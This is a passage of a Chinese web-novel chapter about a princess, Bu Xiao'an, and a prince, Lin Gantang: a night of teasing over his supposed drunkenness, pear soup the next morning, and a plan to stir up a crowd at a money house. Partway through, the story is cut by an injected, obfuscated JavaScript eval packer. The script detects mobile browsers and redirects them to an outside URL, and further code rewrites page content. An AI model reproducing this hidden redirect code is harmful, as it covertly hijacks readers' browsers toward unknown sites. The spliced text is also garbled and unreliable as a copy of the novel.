闻言蔺甘棠沉默片刻。 “殿下抛下孤一个人走了那么久，自然是不满的。”他稍稍抬起头，话说的颇为认真，不像作假，“所以下一次，孤也要殿下等等孤。” 闻言，步笑安顿时觉得有些好笑，怎么面前这个人突然如此孩子气，莫非是真醉了。 晚上刚刚下过一场细雨，那淡淡的湿意逐渐从外面渗透进屋子里，脱下一身黑衣的步笑安感到些许寒冷。 撩起床纱，她突然凑上前去。 蔺甘棠一个没有预料到，微微往后仰，淡淡的金桂花的香气萦绕在鼻腔，他鼻子有些发痒，“殿下作甚。” “我看你醉否。”步笑安睫毛微微颤动。 他的瞳孔有些许收缩，除了颈部慢慢升起的红晕，表情却不见一丝动摇，“那殿下可得到了答案？” 步笑安半眯着眼睛，看着他像是一道可口的东坡肘子一般想要仔细研究透彻，她端详了他片刻，道：“算是。” “算是？”他重复了一遍。 这算是什么答案。不过不重要，他早就说过他醉了。 “孤醉了。”他倚在床头恹恹道。 蔺甘棠身子微微前倾，紧紧盯住步笑安的眸子，“所以殿下要是再在这里待下去，孤保不齐会做一些混账事儿。” 混账事儿？ 气温倏地冷了下来，步笑安冷笑一声，闻言伸出一根手指点在他的额头，扬言道：“王既知道自己醉了，就该好好睡觉。” 她是发什么疯，竟然有那么个菩萨心肠过来帮他吹蜡烛。 步笑安一言不发松开手，把床上被子往他身上一扔，转身拿起烛台轻轻一吹，那火光便彻底寿终正寝。 她径直走出了主屋。 管家早早睡了，阿箬不在，县衙的人又不能用，这屋里确实缺个侍从，要不然这等事情又怎么会发生。 区区一个蜡烛！ 步笑安顿时气不打一处来，脖子根出都带上了红晕，她重重地关上了西厢房的门。 这夜睡得有些不踏实，梦里都是蔺甘棠那张看似无辜又欠揍的脸。 早上，她起的有些迟了，一出门便看见蔺甘棠坐在院中，顶着冷风喝着羹汤，她迎面走过去，道：“王这胃口不错啊。” 蔺甘棠将羹里的梨吃掉，拿起绢布抹了抹嘴唇，见步笑安来了，便转过身，道：“梨羹好喝，孤喝了一碗就觉得醉酒的感觉消下去不少。” 还敢提醉酒？ 步笑安瞥他。 哪知他却恍若未闻，只是微微一笑，“殿下要不要尝尝？管家准备了不少。” 步笑安这么多年在乡野待惯了，哪里有浪费粮食之理？ 有吃的自然是来者不拒，她自然地接过他递过来的空碗，舀了一大勺。 那羹味道鲜美，有梨和桂花的香气，二者合并，浑然天成，她不自觉地多喝了几口。 蔺甘棠一边看着她喝羹，一边端详着她，一如昨日她端详着他一般。 “殿下昨日所说的正事儿是什么。” 步笑安抬头看了眼天，望见太阳高高挂在东方，看样子还来得及，“去讨债。” 讨十年前的债，也有现如今的债。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870360|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 蔺甘棠撂下勺子，盯着她看了几眼，“那得多吃点儿，不然可没有力气去讨债。” 步笑安不置可否，她闻言拉出袖子掏了掏，从中拿出一沓子银票，拍在桌子上，“拿着。” 蔺甘棠静了几息，袖子翻飞，拎起那一沓子，“要孤给你搭戏台？” 碗里的羹汤还热乎，步笑安又趁机吃了颗枣，囫囵着说，“说是搭戏台，其实只要王现身一晃，自然有一出好戏能看。” 收起银票，蔺甘棠手上的绢布轻轻拂过手指，他淡淡道：“那孤可要拭目以待了。” 话音未落，“吱呀”一声，小院的门被推开了一个缝隙，明亮的晨光顺着就涌了出来。 二人闻声抬头望去，只见门那头站着两列侍女在候着，带头的侍卫在缝隙中露了头。 侍卫和侍女都不敢踏入小院一步，只是在门那头行了个礼，“公子，县令在衙内恭候着，您看什么时候方便？” 蔺甘棠把绢布放在桌上，站起身来就往那边走，一抹假笑刚刚好浮现在脸上，“巧了，刚吃完羹。本公子倒是要看看，今日又有什么有趣的事儿。” 院门再次紧闭，小院里再次恢复了平静。 步笑安知道蔺甘棠是被叫走主持门面去了。其实说是主持门面不过实际上就是当一个摆件，比如县衙门口的石狮子就是这么个作用。 只是与石狮子不同的是，狮子是死的，人是活的。 不过这位尊贵的王不在有不在的好处。这好处就是，她发号施令简单多了。 天边传来一声悠扬地哨声。 坐在木摇椅上的步笑安缓缓睁开眼，回应的咕咕声从喉咙里嘹亮地发出。 仅仅只是两三息的工夫耳边便有脚步声传来。 “殿下。”金令主单膝跪下，手臂抵在胸前，做了一礼。 步笑安端坐在椅子上，淡淡询问：“吩咐你的事情都做好了？” “都吩咐下去了，一到正午，群众便会一拥而上。”金令主回答的没有一丝犹疑。 “行了，万事俱备只欠东风。”步笑安从椅子上下来，踱步到花丛里拣了根木棍拿在手中，“那我们走吧。” 金令主还跪在原地，虽然不应该，但他心里冒出了一丝疑问，“殿下，不等王吗？” 步笑安回过头瞥他一眼，“等他？他会带着看戏的人过去的，不用等他。咱们先找个容易看戏的地方待着，等吃饱喝足了，这该上台演戏的人就该登台了。” 说罢，她便进屋换了身装扮和金令主两人翻出了县衙。 既然是永世钱庄作为戏台，那么最佳观赏点自然是离他不远的地方。商贾一条街今日是繁华得紧，原本永世钱庄的前面是人满为患的，但是不知道钱庄使了什么手段，这两天的人流量是一天天渐少。 不过不要紧，一会儿人就会慢慢多起来的。 步笑安从摊贩手里买了一袋瓜子，分了半袋子扔给了身后的金令主。 他二人头顶斗笠在白菜摊后面一坐，主仆二人一起嗑上了瓜子。 “你说，永世钱庄今天会不会倒灶？”